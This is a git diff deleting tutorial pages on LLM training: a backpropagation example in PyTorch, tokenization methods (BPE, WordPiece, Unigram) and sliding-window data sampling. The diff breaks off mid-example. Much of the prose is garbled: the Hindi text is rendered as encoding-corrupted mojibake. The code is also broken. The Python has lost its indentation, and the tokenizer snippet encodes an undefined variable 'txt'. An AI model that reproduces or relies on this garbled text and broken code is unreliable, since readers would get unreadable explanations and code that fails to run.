рдкреИрд░рд╛рдореАрдЯрд░ (рд╡реЗрдЯреНрд╕ рдФрд░ рдмрд╛рдпрд╕) рдХреЛ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВред -- **Step 2:** рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдлреЙрд░рд╡рд░реНрдб рдкрд╛рд╕ рдХрд░реЗрдВред -- **Step 3:** рд▓реЙрд╕ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВред -- **Step 4:** рд╢реНрд░реГрдВрдЦрд▓рд╛ рдирд┐рдпрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рд▓реЙрд╕ рдХреЗ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВред -- **Step 5:** рдПрдХ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рджрдо (рдЬреИрд╕реЗ, рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рдбрд┐рд╕реЗрдВрдЯ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред - -### **3. Mathematical Representation** - -рдПрдХ рд╕рд░рд▓ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдЫрд┐рдкреА рд╣реБрдИ рдкрд░рдд рд╣реИ: - -
- -### **4. PyTorch Implementation** - -PyTorch рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрдкрдиреЗ autograd рдЗрдВрдЬрди рдХреЗ рд╕рд╛рде рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИред -```python -import torch -import torch.nn as nn -import torch.optim as optim - -# Define a simple neural network -class SimpleNet(nn.Module): -def __init__(self): -super(SimpleNet, self).__init__() -self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer -self.relu = nn.ReLU() -self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer -self.sigmoid = nn.Sigmoid() - -def forward(self, x): -h = self.relu(self.fc1(x)) -y_hat = self.sigmoid(self.fc2(h)) -return y_hat - -# Instantiate the network -net = SimpleNet() - -# Define loss function and optimizer -criterion = nn.BCELoss() -optimizer = optim.SGD(net.parameters(), lr=0.01) - -# Sample data -inputs = torch.randn(1, 10) -labels = torch.tensor([1.0]) - -# Training loop -optimizer.zero_grad() # Clear gradients -outputs = net(inputs) # Forward pass -loss = criterion(outputs, labels) # Compute loss -loss.backward() # Backward pass (compute gradients) -optimizer.step() # Update parameters - -# Accessing gradients -for name, param in net.named_parameters(): -if param.requires_grad: -print(f"Gradient of {name}: {param.grad}") -``` -рдЗрд╕ рдХреЛрдб рдореЗрдВ: - -- **Forward Pass:** рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рддрд╛ рд╣реИред -- **Backward Pass:** `loss.backward()` рд╕рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рд╣рд╛рдирд┐ рдХреЗ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рддрд╛ рд╣реИред -- **Parameter Update:** `optimizer.step()` рдЧрдгрдирд╛ рдХрд┐рдП рдЧрдП рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИред - -### **5. Understanding Backward Pass** - -рдкреАрдЫреЗ рдХреА рдУрд░ рдкрд╛рд╕ рдХреЗ рджреМрд░рд╛рди: - -- PyTorch рдЧрдгрдирд╛рддреНрдордХ рдЧреНрд░рд╛рдл рдХреЛ рдЙрд▓реНрдЯреЗ рдХреНрд░рдо рдореЗрдВ рдкрд╛рд░ рдХрд░рддрд╛ рд╣реИред -- рдкреНрд░рддреНрдпреЗрдХ рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЪреЗрди рдирд┐рдпрдо рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред -- рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рдкреНрд░рддреНрдпреЗрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдЯреЗрдиреНрд╕рд░ рдХреЗ `.grad` рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ рд╕рдВрдЪрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред - -### **6. Advantages of Automatic Differentiation** - -- **Efficiency:** рдордзреНрдпрд╡рд░реНрддреА рдкрд░рд┐рдгрд╛рдореЛрдВ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдирд╛рд╡рд╢реНрдпрдХ рдЧрдгрдирд╛рдУрдВ рд╕реЗ рдмрдЪрддрд╛ рд╣реИред -- **Accuracy:** рдорд╢реАрди рд╕рдЯреАрдХрддрд╛ рддрдХ рд╕рдЯреАрдХ рд╡реНрдпреБрддреНрдкрддреНрддрд┐рдпрд╛рдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -- **Ease of Use:** рд╡реНрдпреБрддреНрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдореИрдиреБрдЕрд▓ рдЧрдгрдирд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md deleted file mode 100644 index c31b01c1f..000000000 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ /dev/null @@ -1,95 +0,0 @@ -# 1. Tokenizing - -## Tokenizing - -**Tokenizing** рдбреЗрдЯрд╛ рдХреЛ рдЫреЛрдЯреЗ, рдкреНрд░рдмрдВрдзрдиреАрдп рдЯреБрдХрдбрд╝реЛрдВ рдореЗрдВ рддреЛрдбрд╝рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ _tokens_ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ (ID) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдорд╢реАрди рд▓рд░реНрдирд┐рдВрдЧ рдореЙрдбрд▓ рджреНрд╡рд╛рд░рд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЯреЗрдХреНрд╕реНрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдПрдХ рдореМрд▓рд┐рдХ рдХрджрдо рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдХреГрддрд┐рдХ рднрд╛рд╖рд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ (NLP) рдореЗрдВред - -> [!TIP] -> рдЗрд╕ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдЗрдирдкреБрдЯ рдХреЛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЯреЛрдХрдиреЛрдВ (ids) рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░реЗрдВ рдЬреЛ рд╕рдордЭ рдореЗрдВ рдЖрдП**ред - -### **How Tokenizing Works** - -1. **Splitting the Text:** -- **Basic Tokenizer:** рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЯреЛрдХрдирд╛рдЗрдЬрд╝рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд╢рдмреНрджреЛрдВ рдФрд░ рд╡рд┐рд░рд╛рдо рдЪрд┐рд╣реНрдиреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╕реНрдкреЗрд╕ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред -- _Example:_\ -Text: `"Hello, world!"`\ -Tokens: `["Hello", ",", "world", "!"]` -2. **Creating a Vocabulary:** -- рдЯреЛрдХрдиреЛрдВ рдХреЛ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ IDs рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ **vocabulary** рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИред рдпрд╣ рд╢рдмреНрджрд╛рд╡рд▓реА рд╕рднреА рдЕрджреНрд╡рд┐рддреАрдп рдЯреЛрдХрдиреЛрдВ (рд╢рдмреНрджреЛрдВ рдФрд░ рдкреНрд░рддреАрдХреЛрдВ) рдХреА рд╕реВрдЪреА рдмрдирд╛рддреА рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ ID рд╕реМрдВрдкрддреА рд╣реИред -- **Special Tokens:** рдпреЗ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рддреАрдХ рд╣реИрдВ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╢рдмреНрджрд╛рд╡рд▓реА рдореЗрдВ рдЬреЛрдбрд╝реЗ рдЬрд╛рддреЗ рд╣реИрдВ: -- `[BOS]` (Beginning of Sequence): рдЯреЗрдХреНрд╕реНрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред -- `[EOS]` (End of Sequence): рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рдЕрдВрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред -- `[PAD]` (Padding): рдПрдХ рдмреИрдЪ рдореЗрдВ рд╕рднреА рдЕрдиреБрдХреНрд░рдореЛрдВ рдХреЛ рд╕рдорд╛рди рд▓рдВрдмрд╛рдИ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- `[UNK]` (Unknown): рдЙрди рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╢рдмреНрджрд╛рд╡рд▓реА рдореЗрдВ рдирд╣реАрдВ рд╣реИрдВред -- _Example:_\ -рдпрджрд┐ `"Hello"` рдХреЛ ID `64` рд╕реМрдВрдкрд╛ рдЧрдпрд╛ рд╣реИ, `","` рдХреЛ `455`, `"world"` рдХреЛ `78`, рдФрд░ `"!"` рдХреЛ `467`, рддреЛ:\ -`"Hello, world!"` тЖТ `[64, 455, 78, 467]` -- **Handling Unknown Words:**\ -рдпрджрд┐ рдХреЛрдИ рд╢рдмреНрдж рдЬреИрд╕реЗ `"Bye"` рд╢рдмреНрджрд╛рд╡рд▓реА рдореЗрдВ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЗрд╕реЗ `[UNK]` рд╕реЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред\ -`"Bye, world!"` тЖТ `["[UNK]", ",", "world", "!"]` тЖТ `[987, 455, 78, 467]`\ -_(рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ `[UNK]` рдХрд╛ ID `987` рд╣реИ)_ - -### **Advanced Tokenizing Methods** - -рдЬрдмрдХрд┐ рдмреЗрд╕рд┐рдХ рдЯреЛрдХрдирд╛рдЗрдЬрд╝рд░ рд╕рд░рд▓ рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдХреБрдЫ рд╕реАрдорд╛рдПрдБ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдмрдбрд╝реЗ рд╢рдмреНрджрд╛рд╡рд▓реА рдФрд░ рдирдП рдпрд╛ рджреБрд░реНрд▓рдн рд╢рдмреНрджреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВред рдЙрдиреНрдирдд рдЯреЛрдХрдирд╛рдЗрдЬрд╝рд┐рдВрдЧ рд╡рд┐рдзрд┐рдпрд╛рдБ рдЗрди рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдЫреЛрдЯреЗ рдЙрдк-рдЗрдХрд╛рдЗрдпреЛрдВ рдореЗрдВ рддреЛрдбрд╝рдХрд░ рдпрд╛ рдЯреЛрдХрдирд╛рдЗрдЬреЗрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдХреЗред - -1. **Byte Pair Encoding (BPE):** -- **Purpose:** рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рджреБрд░реНрд▓рдн рдпрд╛ рдЕрдЬреНрдЮрд╛рдд рд╢рдмреНрджреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдЕрдХреНрд╕рд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдмрд╛рдЗрдЯ рдЬреЛрдбрд╝реЛрдВ рдореЗрдВ рддреЛрдбрд╝рдХрд░ред -- **How It Works:** -- рд╡реНрдпрдХреНрддрд┐рдЧрдд рд╡рд░реНрдгреЛрдВ рдХреЛ рдЯреЛрдХрдиреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред -- рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдЬреЛрдбрд╝реЛрдВ рдХреЛ рдПрдХрд▓ рдЯреЛрдХрди рдореЗрдВ рдХреНрд░рдорд┐рдХ рд░реВрдк рд╕реЗ рдорд┐рд▓рд╛рддрд╛ рд╣реИред -- рддрдм рддрдХ рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИ рдЬрдм рддрдХ рдХреЛрдИ рдФрд░ рдмрд╛рд░-рдмрд╛рд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдЬреЛрдбрд╝реЗ рдХреЛ рдирд╣реАрдВ рдорд┐рд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред -- **Benefits:** -- `[UNK]` рдЯреЛрдХрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рднреА рд╢рдмреНрджреЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдореМрдЬреВрджрд╛ рдЙрдкрд╢рдмреНрдж рдЯреЛрдХрдиреЛрдВ рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -- рдЕрдзрд┐рдХ рдХреБрд╢рд▓ рдФрд░ рд▓рдЪреАрд▓реА рд╢рдмреНрджрд╛рд╡рд▓реАред -- _Example:_\ -`"playing"` рдХреЛ `["play", "ing"]` рдХреЗ рд░реВрдк рдореЗрдВ рдЯреЛрдХрдирд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ `"play"` рдФрд░ `"ing"` рдЕрдХреНрд╕рд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрд╢рдмреНрдж рд╣реИрдВред -2. **WordPiece:** -- **Used By:** BERT рдЬреИрд╕реЗ рдореЙрдбрд▓ред -- **Purpose:** BPE рдХреЗ рд╕рдорд╛рди, рдпрд╣ рдЕрдЬреНрдЮрд╛рдд рд╢рдмреНрджреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдФрд░ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢рдмреНрджреЛрдВ рдХреЛ рдЙрдкрд╢рдмреНрдж рдЗрдХрд╛рдЗрдпреЛрдВ рдореЗрдВ рддреЛрдбрд╝рддрд╛ рд╣реИред -- **How It Works:** -- рд╡реНрдпрдХреНрддрд┐рдЧрдд рд╡рд░реНрдгреЛрдВ рдХреЗ рдПрдХ рдЖрдзрд╛рд░ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред -- рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрд╢рдмреНрдж рдХреЛ рдХреНрд░рдорд┐рдХ рд░реВрдк рд╕реЗ рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдбреЗрдЯрд╛ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдЕрдзрд┐рдХрддрдо рдХрд░рддрд╛ рд╣реИред -- рдпрд╣ рддрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрднрд╛рд╡реНрдп рдореЙрдбрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рдЙрдкрд╢рдмреНрджреЛрдВ рдХреЛ рдорд┐рд▓рд╛рдирд╛ рд╣реИред -- **Benefits:** -- рдкреНрд░рдмрдВрдзрдиреАрдп рд╢рдмреНрджрд╛рд╡рд▓реА рдЖрдХрд╛рд░ рдФрд░ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд╢рдмреНрджреЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреЗ рдмреАрдЪ рд╕рдВрддреБрд▓рди рдмрдирд╛рддрд╛ рд╣реИред -- рджреБрд░реНрд▓рдн рдФрд░ рдпреМрдЧрд┐рдХ рд╢рдмреНрджреЛрдВ рдХреЛ рдХреБрд╢рд▓рддрд╛ рд╕реЗ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред -- _Example:_\ -`"unhappiness"` рдХреЛ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ `["un", "happiness"]` рдпрд╛ `["un", "happy", "ness"]` рдХреЗ рд░реВрдк рдореЗрдВ рдЯреЛрдХрдирд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -3. **Unigram Language Model:** -- **Used By:** SentencePiece рдЬреИрд╕реЗ рдореЙрдбрд▓ред -- **Purpose:** рд╕рдмрд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЙрдкрд╢рдмреНрдж рдЯреЛрдХрдиреЛрдВ рдХреЗ рд╕реЗрдЯ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрднрд╛рд╡реНрдп рдореЙрдбрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред -- **How It Works:** -- рд╕рдВрднрд╛рд╡рд┐рдд рдЯреЛрдХрдиреЛрдВ рдХреЗ рдПрдХ рдмрдбрд╝реЗ рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред -- рдЙрди рдЯреЛрдХрдиреЛрдВ рдХреЛ рдХреНрд░рдорд┐рдХ рд░реВрдк рд╕реЗ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдореЙрдбрд▓ рдХреА рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдбреЗрдЯрд╛ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рд╕рдмрд╕реЗ рдХрдо рд╕реБрдзрд╛рд░рддреЗ рд╣реИрдВред -- рдПрдХ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЛ рдЕрдВрддрд┐рдо рд░реВрдк рджреЗрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж рдХреЛ рд╕рдмрд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЙрдкрд╢рдмреНрдж рдЗрдХрд╛рдЗрдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **Benefits:** -- рд▓рдЪреАрд▓рд╛ рд╣реИ рдФрд░ рднрд╛рд╖рд╛ рдХреЛ рдЕрдзрд┐рдХ рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдореЙрдбрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- рдЕрдХреНрд╕рд░ рдЕрдзрд┐рдХ рдХреБрд╢рд▓ рдФрд░ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЯреЛрдХрдирд╛рдЗрдЬреЗрд╢рди рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрддрд╛ рд╣реИред -- _Example:_\ -`"internationalization"` рдХреЛ рдЫреЛрдЯреЗ, рдЕрд░реНрдердкреВрд░реНрдг рдЙрдкрд╢рдмреНрджреЛрдВ рдореЗрдВ `["international", "ization"]` рдХреЗ рд░реВрдк рдореЗрдВ рдЯреЛрдХрдирд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - -## Code Example - -рдЖрдЗрдП рдЗрд╕реЗ [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) рд╕реЗ рдПрдХ рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдмреЗрд╣рддрд░ рд╕рдордЭрддреЗ рд╣реИрдВ: -```python -# Download a text to pre-train the model -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: -raw_text = f.read() - -# Tokenize the code using GPT2 tokenizer version -import tiktoken -token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]" - -# Print first 50 tokens -print(token_ids[:50]) -#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11] -``` -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/2.-data-sampling.md b/src/todo/llm-training-data-preparation/2.-data-sampling.md deleted file mode 100644 index 9909261e1..000000000 --- a/src/todo/llm-training-data-preparation/2.-data-sampling.md +++ /dev/null @@ -1,240 +0,0 @@ -# 2. Data Sampling - -## **Data Sampling** - -**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies. - -> [!TIP] -> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.** - -### **Why Data Sampling Matters** - -LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text. - -### **Key Concepts in Data Sampling** - -1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters). -2. **Sequence Length (max_length):** The number of tokens in each input sequence. -3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text. -4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence. - -### **Step-by-Step Example** - -Let's walk through an example to illustrate data sampling. - -**Example Text** - -```arduino -"Lorem ipsum dolor sit amet, consectetur adipiscing elit." -``` - -**Tokenization** - -Assume we use a **basic tokenizer** that splits the text into words and punctuation marks: - -```vbnet -Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."] -``` - -**Parameters** - -- **Max Sequence Length (max_length):** 4 tokens -- **Sliding Window Stride:** 1 token - -**Creating Input and Target Sequences** - -1. **Sliding Window Approach:** - - **Input Sequences:** Each input sequence consists of `max_length` tokens. - - **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence. -2. **Generating Sequences:** - -
Window PositionInput SequenceTarget Sequence
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
- -3. **Resulting Input and Target Arrays:** - - - **Input:** - - ```python - [ - ["Lorem", "ipsum", "dolor", "sit"], - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ] - ``` - - - **Target:** - - ```python - [ - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ["amet,", "consectetur", "adipiscing", "elit."], - ] - ``` - -**Visual Representation** - -
Token PositionToken
1Lorem
2ipsum
3dolor
4sit
5amet,
6consectetur
7adipiscing
8elit.
- -**Sliding Window with Stride 1:** - -- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] тЖТ **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] тЖТ **Target:** \["dolor", "sit", "amet,", "consectetur"] -- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] тЖТ **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] тЖТ **Target:** \["amet,", "consectetur", "adipiscing", "elit."] - -**Understanding Stride** - -- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated. -- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances. -- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences. - -**Example with Stride of 2:** - -Using the same tokenized text and `max_length` of 4: - -- **First Window (Positions 1-4):** 